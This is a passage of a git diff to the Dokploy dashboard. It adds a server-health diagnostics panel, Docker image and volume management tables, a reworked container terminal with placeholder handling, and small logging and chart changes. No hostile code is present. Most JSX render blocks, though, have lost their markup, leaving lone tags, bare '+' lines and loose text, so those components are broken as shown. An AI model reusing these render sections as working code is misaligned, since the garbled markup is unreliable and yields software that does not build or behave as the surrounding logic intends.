+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/health/show-health.tsx b/apps/dokploy/components/dashboard/docker/health/show-health.tsx new file mode 100644 index 000000000..003b21c7f --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/health/show-health.tsx @@ -0,0 +1,454 @@ +import { + AlertTriangle, + Cpu, + Download, + HardDrive, + Loader2, + Network, + RefreshCw, + Server as ServerIcon, +} from "lucide-react"; +import { useState } from "react"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Card } from "@/components/ui/card"; +import { Progress } from "@/components/ui/progress"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api } from "@/utils/api"; + +interface Props { + serverId?: string; +} + +const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1); +const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2); +const pct = (used: number, total: number) => + Math.min(100, Math.round((used / (total || 1)) * 100)); + +const SINCE_HOURS_OPTIONS = [ + { label: "Last hour", value: 1 }, + { label: "Last 6 hours", value: 6 }, + { label: "Last 24 hours", value: 24 }, + { label: "Last 7 days", value: 168 }, +]; + +export const ShowHealth = ({ serverId }: Props) => { + const [sinceHours, setSinceHours] = useState(24); + const { + data: health, + isFetching, + refetch, + isFetched, + } = api.docker.getServerHealth.useQuery( + { serverId, sinceHours }, + { refetchOnMount: false, refetchOnWindowFocus: false }, + ); + + const memUsedPct = health + ? pct(health.resources.memUsedBytes, health.resources.memTotalBytes) + : 0; + const diskUsedPct = health + ? pct(health.disk.usedBytes, health.disk.totalBytes) + : 0; + const inotifyUsedPct = health + ? pct(health.inotify.currentInstances, health.inotify.maxInstances) + : 0; + + const daemonLogsWindowText = health?.daemonLogsWindow + ? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}` + : null; + const daemonErrorsText = [ + daemonLogsWindowText, + health && health.daemonErrors.length > 0 + ? health.daemonErrors.join("\n") + : "(no daemon errors matched in this window)", + ] + .filter(Boolean) + .join("\n\n"); + + const buildHealthReport = () => { + if (!health) return ""; + const lines: string[] = []; + lines.push("# Dokploy server health report"); + lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`); + lines.push( + `Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`, + ); + lines.push(""); + + lines.push("## Containers & services"); + lines.push(`Containers: ${health.containers.containerCount}`); + lines.push(`Swarm services: ${health.containers.serviceCount}`); + lines.push(""); + + lines.push("## Host resources"); + lines.push( + `Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`, + ); + lines.push(`CPU cores: ${health.resources.cpuCount}`); + lines.push(""); + + lines.push("## Disk (/)"); + lines.push( + `${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`, + ); + lines.push(""); + + lines.push("## Inotify"); + lines.push( + `max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`, + ); + lines.push(`max_user_watches: ${health.inotify.maxWatches}`); + lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`); + lines.push( + `Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`, + ); + lines.push(""); + + lines.push("## Docker networks"); + lines.push(`Total networks: ${health.dockerNetworks.count}`); + if (health.dockerNetworks.addressPools) { + lines.push( + `default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`, + ); + } + if (health.dockerNetworks.usageError) { + lines.push( + `Could not read network IP usage: ${health.dockerNetworks.usageError}`, + ); + } else if (health.dockerNetworks.usage.length > 0) { + lines.push(""); + lines.push( + "| Network | Driver | Subnet | IPs in use | Capacity | Usage |", + ); + lines.push("|---|---|---|---|---|---|"); + for (const n of health.dockerNetworks.usage) { + lines.push( + `| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`, + ); + } + } + lines.push(""); + + if (health.reservation) { + lines.push("## Memory/CPU reservation"); + lines.push( + `Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`, + ); + lines.push( + `Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`, + ); + lines.push(`Across ${health.reservation.appCount} Application services`); + if (health.reservation.unsupportedComposeCount > 0) { + lines.push( + `${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`, + ); + } + lines.push(""); + } + + lines.push("## Docker daemon errors (raw)"); + lines.push("```"); + lines.push(daemonErrorsText); + lines.push("```"); + + return lines.join("\n"); + }; + + const handleDownload = () => { + const report = buildHealthReport(); + if (!report) return; + const blob = new Blob([report], { type: "text/markdown" }); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`; + a.click(); + URL.revokeObjectURL(url); + }; + + return ( +
+ +
+
+
+

Server diagnostics

+

+ Runs a read-only check over SSH (inotify limits, disk, Docker + network pool, daemon errors). Runs automatically when you open + this tab — click Re-check to refresh. +

+
+
+ + + {health && !health.error && ( + + )} +
+
+ + {isFetching && !health && ( +
+ + Checking server health… +
+ )} + + {health?.error && ( +
+ Couldn't read server health: {health.error} +
+ )} + + {health && !health.error && ( +
+ +
+ + Containers & services +
+
+ {health.containers.containerCount} +
+
+ containers · {health.containers.serviceCount} swarm services +
+
+ + +
+ + Host resources +
+
+ Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "} + {bytesToGb(health.resources.memTotalBytes)} GB +
+ +
+ {health.resources.cpuCount} CPU cores +
+
+ + +
+ + Disk (/) +
+
+ {bytesToGb(health.disk.usedBytes)} /{" "} + {bytesToGb(health.disk.totalBytes)} GB +
+ +
+ + +
+ + + Inotify + + + {health.inotify.persisted ? "persisted" : "runtime only"} + +
+
+ max_user_instances: {health.inotify.currentInstances} /{" "} + {health.inotify.maxInstances.toLocaleString()} ( + {inotifyUsedPct}%) +
+ +
+ max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "} + · max_queued_events:{" "} + {health.inotify.maxQueuedEvents.toLocaleString()} +
+
+ + +
+ + Docker networks +
+
+ {health.dockerNetworks.count} +
+
+ The default Docker address pool is exhausted around ~30 + networks unless default-address-pools is + configured in /etc/docker/daemon.json. + {health.dockerNetworks.addressPools + ? " Custom pool detected on this server." + : ""} +
+
+ + {health.reservation && ( + +
+ + Memory/CPU reservation +
+
+ {bytesToGb(health.reservation.memoryReservedBytes)} GB + reserved ·{" "} + {nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "} + CPUs reserved +
+
+ Across {health.reservation.appCount} Application services. + {health.reservation.unsupportedComposeCount > 0 + ? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.` + : ""} +
+
+ )} +
+ )} + + {health && + !health.error && + (health.dockerNetworks.usage.length > 0 || + health.dockerNetworks.usageError) && ( +
+

+ + Network IP usage +

+

+ IPs assigned to containers vs. the subnet's usable capacity, + per network — including reserved networks like{" "} + dokploy-network. A network stuck near 100% blocks + new containers from starting even when the host has plenty of + other resources free. +

+ {health.dockerNetworks.usageError ? ( +
+ Couldn't read network IP usage:{" "} + {health.dockerNetworks.usageError} +
+ ) : ( +
+ + + + Network + Driver + Subnet + IPs in use + Usage + + + + {health.dockerNetworks.usage.map((n) => ( + + + {n.name} + + + {n.driver} + + + {n.subnet ?? "Auto"} + + + {n.capacity !== null + ? `${n.containersInUse} / ${n.capacity}` + : n.containersInUse} + + + {n.percentUsed !== null ? ( + = 90 + ? "red" + : n.percentUsed >= 70 + ? "yellow" + : "green" + } + > + {n.percentUsed}% + + ) : ( + + — + + )} + + + ))} + +
+
+ )} +
+ )} + + {health && !health.error && ( +
+

+ Docker daemon errors ( + {SINCE_HOURS_OPTIONS.find( + (o) => o.value === sinceHours, + )?.label.toLowerCase()} + ) +

+ +
+ )} +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/images/show-images.tsx b/apps/dokploy/components/dashboard/docker/images/show-images.tsx new file mode 100644 index 000000000..bb694f128 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/images/show-images.tsx @@ -0,0 +1,470 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { + AlertDialog, + AlertDialogAction, + AlertDialogCancel, + AlertDialogContent, + AlertDialogDescription, + AlertDialogFooter, + AlertDialogHeader, + AlertDialogTitle, +} from "@/components/ui/alert-dialog"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type ImageBase = + inferRouterOutputs["dockerImage"]["getImages"][number]; +type ImageRow = ImageBase & { key: string }; + +interface Props { + serverId?: string; +} + +const SIZE_UNITS: Record = { + b: 1, + kb: 1e3, + mb: 1e6, + gb: 1e9, + tb: 1e12, +}; + +const parseSize = (size?: string) => { + if (!size) return -1; + const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim()); + if (!match?.[1] || !match[2]) return -1; + return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1); +}; + +const getReference = (image: ImageBase) => + image.Repository !== "" && image.Tag !== "" + ? `${image.Repository}:${image.Tag}` + : image.ID; + +const FORCE_HINT_REGEX = + /must be forced|image is being used|referenced in multiple repositories/i; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const ShowImageConfig = ({ + imageRef, + serverId, +}: { + imageRef: string; + serverId?: string; +}) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.dockerImage.getImageConfig.useQuery( + { imageRef, serverId }, + { enabled: open }, + ); + + return ( + + + + + + + Image Config + + docker image inspect output for "{imageRef}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; + +export const ShowImages = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Repository", desc: false }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + const [forcePrompt, setForcePrompt] = useState<{ + image: ImageRow; + message: string; + } | null>(null); + + const { data: images, isLoading } = api.dockerImage.getImages.useQuery({ + serverId, + }); + const { mutateAsync: removeImage } = + api.dockerImage.removeImage.useMutation(); + + const rows = useMemo( + () => + (images ?? []).map((image) => ({ + ...image, + key: `${image.ID}-${image.Repository}-${image.Tag}`, + })), + [images], + ); + + const filteredData = useMemo(() => { + if (!globalFilter.trim()) { + return rows; + } + const query = globalFilter.toLowerCase(); + return rows.filter( + (image) => + image.Repository.toLowerCase().includes(query) || + image.Tag.toLowerCase().includes(query) || + image.ID.toLowerCase().includes(query), + ); + }, [rows, globalFilter]); + + const handleDelete = async (image: ImageRow, force = false) => { + try { + await removeImage({ + repository: image.Repository, + tag: image.Tag, + id: image.ID, + force, + serverId, + }); + toast.success("Image deleted"); + setForcePrompt(null); + await utils.dockerImage.getImages.invalidate(); + } catch (error) { + const message = error instanceof Error ? error.message : "Unknown error"; + if (!force && FORCE_HINT_REGEX.test(message)) { + setForcePrompt({ image, message }); + } else { + toast.error("Error deleting image", { description: message }); + } + } + }; + + const columns = useMemo[]>( + () => [ + { + accessorKey: "Repository", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.Repository} +
+ ), + }, + { + accessorKey: "Tag", + header: ({ column }) => , + cell: ({ row }) => {row.original.Tag}, + }, + { + accessorKey: "ID", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.ID} + + ), + }, + { + id: "Size", + accessorFn: (image) => parseSize(image.Size), + header: ({ column }) => , + cell: ({ row }) => ( + {row.original.Size} + ), + }, + { + id: "Created", + accessorFn: (image) => new Date(image.CreatedAt).getTime() || 0, + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.CreatedSince} + + ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + handleDelete(row.original)} + > + + +
+ ), + }, + ], + [serverId], + ); + + const table = useReactTable({ + data: filteredData, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Images + + + Manage the Docker images of the selected server. + + + + + {isLoading ? ( +
+ Loading... + +
+ ) : !images?.length ? ( +
+
+ +
+
+

No images found

+

+ Docker images pulled or built on this server will appear + here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No images match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+ !open && setForcePrompt(null)} + > + + + Image is in use + + {forcePrompt?.message} Do you want to force the deletion? This may + affect containers still using this image. + + + + setForcePrompt(null)}> + Cancel + + + forcePrompt && handleDelete(forcePrompt.image, true) + } + > + Force delete + + + + +
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx index c6cb473e0..da4c854d0 100644 --- a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx +++ b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx @@ -26,6 +26,11 @@ interface Props { serviceId?: string; } +// Sentinel the container-picker views fall back to before a real container +// is selected/auto-selected — querying logs for it just surfaces Docker's +// raw "No such container: select-a-container" daemon error. +const PLACEHOLDER_CONTAINER_ID = "select-a-container"; + export const priorities = [ { label: "Info", @@ -55,13 +60,16 @@ export const DockerLogsId: React.FC = ({ runType, serviceId, }) => { + const hasContainer = + !!containerId && containerId !== PLACEHOLDER_CONTAINER_ID; + const { data } = api.docker.getConfig.useQuery( { containerId, serverId: serverId ?? undefined, }, { - enabled: !!containerId, + enabled: hasContainer, }, ); @@ -134,7 +142,7 @@ export const DockerLogsId: React.FC = ({ }; useEffect(() => { - if (!containerId) return; + if (!hasContainer) return; let isCurrentConnection = true; let noDataTimeout: NodeJS.Timeout; @@ -344,11 +352,11 @@ export const DockerLogsId: React.FC = ({ />
-
+
diff --git a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx index 187e000e2..6efe0a118 100644 --- a/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx +++ b/apps/dokploy/components/dashboard/docker/logs/terminal-line.tsx @@ -64,7 +64,9 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) { const tooltip = (color: string, timestamp: string | null) => { const square = ( -
+
); return timestamp ? ( @@ -88,7 +90,7 @@ export function TerminalLine({ log, noTimestamp, searchTerm }: LogLineProps) { return (
*/} {tooltip(color, rawTimestamp)} {!noTimestamp && ( - + {formattedTime} )} diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts index f817d980e..81d86408d 100644 --- a/apps/dokploy/components/dashboard/docker/logs/utils.ts +++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts @@ -7,6 +7,28 @@ export interface LogLine { message: string; } +interface ContainerOption { + containerId: string; +} + +export const resolveContainerSelection = ( + currentContainerId: string | undefined, + containers: readonly ContainerOption[] | undefined, +) => { + if (!containers) { + return currentContainerId; + } + + if ( + currentContainerId && + containers.some(({ containerId }) => containerId === currentContainerId) + ) { + return currentContainerId; + } + + return containers[0]?.containerId; +}; + interface LogStyle { type: LogType; variant: LogVariant; diff --git a/apps/dokploy/components/dashboard/docker/show/columns.tsx b/apps/dokploy/components/dashboard/docker/show/columns.tsx index 4b108344e..3a105aefa 100644 --- a/apps/dokploy/components/dashboard/docker/show/columns.tsx +++ b/apps/dokploy/components/dashboard/docker/show/columns.tsx @@ -12,6 +12,7 @@ import { DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { ShowContainerConfig } from "../config/show-container-config"; +import { FilesExplorerModal } from "../files/files-explorer-modal"; import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs"; import { ShowContainerMounts } from "../mounts/show-container-mounts"; import { ShowContainerNetworks } from "../networks/show-container-networks"; @@ -173,6 +174,12 @@ export const columns: ColumnDef[] = [ > Terminal + + Browse Files + = ({ id, containerId, @@ -23,55 +29,105 @@ export const DockerTerminal: React.FC = ({ const [activeWay, setActiveWay] = React.useState("bash"); const { resolvedTheme } = useTheme(); useEffect(() => { - const container = document.getElementById(id); - if (container) { - container.innerHTML = ""; + if (!containerId || containerId === PLACEHOLDER_CONTAINER_ID) { + return; } - const term = new Terminal({ - cursorBlink: true, - lineHeight: 1.4, - convertEol: true, - theme: { - cursor: resolvedTheme === "light" ? "#000000" : "transparent", - background: "rgba(0, 0, 0, 0)", - foreground: "currentColor", - }, + + let cancelled = false; + let term: Terminal | null = null; + let ws: WebSocket | null = null; + let resizeObserver: ResizeObserver | null = null; + + // Deferred a frame so React StrictMode's dev-only phantom mount+cleanup + // (which runs synchronously, before anything paints) never creates a + // terminal in the first place — dodges a known xterm.js dispose race + // (xtermjs/xterm.js#5011) where a deferred internal callback outlives + // term.dispose() and reads renderer state that's already gone. + const frame = requestAnimationFrame(() => { + if (cancelled) return; + + const container = document.getElementById(id); + if (container) { + container.innerHTML = ""; + } + term = new Terminal({ + cursorBlink: true, + lineHeight: 1.4, + convertEol: true, + theme: { + cursor: resolvedTheme === "light" ? "#000000" : "transparent", + background: "rgba(0, 0, 0, 0)", + foreground: "currentColor", + }, + }); + const addonFit = new FitAddon(); + const clipboardAddon = new ClipboardAddon(); + term.loadAddon(clipboardAddon); + fixMacOsAltKeys(term); + // @ts-expect-error + term.open(termRef.current); + term.loadAddon(addonFit); + addonFit.fit(); + + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}&cols=${term.cols}&rows=${term.rows}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; + + ws = new WebSocket(wsUrl); + const addonAttach = new AttachAddon(ws); + term.loadAddon(addonAttach); + + const sendResize = (cols: number, rows: number) => { + if (ws && ws.readyState === WebSocket.OPEN) { + ws.send(JSON.stringify({ type: "resize", cols, rows })); + } + }; + term.onResize(({ cols, rows }) => sendResize(cols, rows)); + + resizeObserver = new ResizeObserver(() => addonFit.fit()); + if (termRef.current) { + resizeObserver.observe(termRef.current); + } }); - const addonFit = new FitAddon(); - const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; - const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; - - const ws = new WebSocket(wsUrl); - - const addonAttach = new AttachAddon(ws); - // @ts-ignore - term.open(termRef.current); - // @ts-ignore - term.loadAddon(addonFit); - term.loadAddon(addonAttach); - addonFit.fit(); return () => { - ws.readyState === WebSocket.OPEN && ws.close(); + cancelled = true; + cancelAnimationFrame(frame); + resizeObserver?.disconnect(); + if (ws && ws.readyState === WebSocket.OPEN) { + ws.close(); + } + term?.dispose(); }; }, [containerId, activeWay, id]); + const hasContainer = + !!containerId && containerId !== PLACEHOLDER_CONTAINER_ID; + return (
-
- - Select way to connect to {containerId} - - - - Bash - /bin/sh - - -
-
-
-
+ {hasContainer && ( +
+ + Select way to connect to {containerId} + + + + Bash + /bin/sh + + +
+ )} + {hasContainer ? ( +
+
+
+ ) : ( +
+ Select a container above to open a terminal. If none are listed, make + sure the service is deployed and running. +
+ )}
); }; diff --git a/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx new file mode 100644 index 000000000..d8c76662f --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx @@ -0,0 +1,434 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Eye, + FolderOpen, + HardDrive, + Loader2, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type VolumeRow = + inferRouterOutputs["dockerVolume"]["getVolumes"][number]; + +interface Props { + serverId?: string; +} + +const SIZE_UNITS: Record = { + b: 1, + kb: 1e3, + mb: 1e6, + gb: 1e9, + tb: 1e12, +}; + +const parseSize = (size?: string) => { + if (!size) return -1; + const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim()); + if (!match?.[1] || !match[2]) return -1; + return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1); +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const ShowVolumeConfig = ({ + volumeName, + serverId, +}: { + volumeName: string; + serverId?: string; +}) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery( + { volumeName, serverId }, + { enabled: open }, + ); + + return ( + + + + + + + Volume Config + + docker volume inspect output for "{volumeName}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; + +export const ShowVolumes = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Name", desc: false }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({ + serverId, + }); + const { data: sizes, isLoading: isLoadingSizes } = + api.dockerVolume.getVolumesSize.useQuery({ serverId }); + + const sizeByName = useMemo( + () => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])), + [sizes], + ); + const { mutateAsync: removeVolume } = + api.dockerVolume.removeVolume.useMutation(); + + const filteredData = useMemo(() => { + const list = volumes ?? []; + if (!globalFilter.trim()) { + return list; + } + const query = globalFilter.toLowerCase(); + return list.filter((volume) => volume.Name.toLowerCase().includes(query)); + }, [volumes, globalFilter]); + + const columns = useMemo[]>( + () => [ + { + accessorKey: "Name", + header: ({ column }) => , + cell: ({ row }) => ( +
+ {row.original.Name} +
+ ), + }, + { + accessorKey: "Driver", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Driver} + ), + }, + { + accessorKey: "Scope", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Scope} + ), + }, + { + id: "Size", + header: ({ column }) => , + sortingFn: (a, b) => + parseSize(sizeByName.get(a.original.Name) ?? undefined) - + parseSize(sizeByName.get(b.original.Name) ?? undefined), + cell: ({ row }) => + isLoadingSizes ? ( + + ) : ( + + {sizeByName.get(row.original.Name) ?? "-"} + + ), + }, + { + accessorKey: "Mountpoint", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.Mountpoint} +
+ ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + + + + { + try { + await removeVolume({ + volumeName: row.original.Name, + serverId, + }); + toast.success("Volume deleted"); + await utils.dockerVolume.getVolumes.invalidate(); + } catch (error) { + toast.error("Error deleting volume", { + description: + error instanceof Error ? error.message : "Unknown error", + }); + } + }} + > + + +
+ ), + }, + ], + [serverId, removeVolume, utils, sizeByName, isLoadingSizes], + ); + + const table = useReactTable({ + data: filteredData, + columns, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Volumes + + + Manage the Docker volumes of the selected server. + + + + + {isLoading ? ( +
+ Loading... + +
+ ) : !volumes?.length ? ( +
+
+ +
+
+

No volumes found

+

+ Docker volumes created on this server will appear here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No volumes match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/home/show-home.tsx b/apps/dokploy/components/dashboard/home/show-home.tsx index f77b71f71..47d7bf31e 100644 --- a/apps/dokploy/components/dashboard/home/show-home.tsx +++ b/apps/dokploy/components/dashboard/home/show-home.tsx @@ -223,7 +223,7 @@ export const ShowHome = () => {
{canReadDeployments && ( view all → diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx index 01989753a..15c68b6b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx @@ -85,6 +85,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { /> { /> { /> { /> { /> { /> { + if (!appName) return; + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const wsUrl = `${protocol}//${window.location.host}/listen-docker-stats-monitoring?appName=${appName}&appType=${appType}`; const ws = new WebSocket(wsUrl); @@ -196,7 +199,9 @@ export const ContainerFreeMonitoring = ({ }; ws.onclose = (e) => { - console.log(e.reason); + if (e.reason) { + toast.error(e.reason); + } }; return () => ws.close(); diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx index eca265765..5b378c20d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx @@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Write" dataKey="write" type="monotone" + isAnimationActive={false} fill="url(#fillWrite)" stroke="hsl(142, 71%, 45%)" strokeWidth={2} @@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Read" dataKey="read" type="monotone" + isAnimationActive={false} fill="url(#fillRead)" stroke="hsl(217, 91%, 60%)" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx 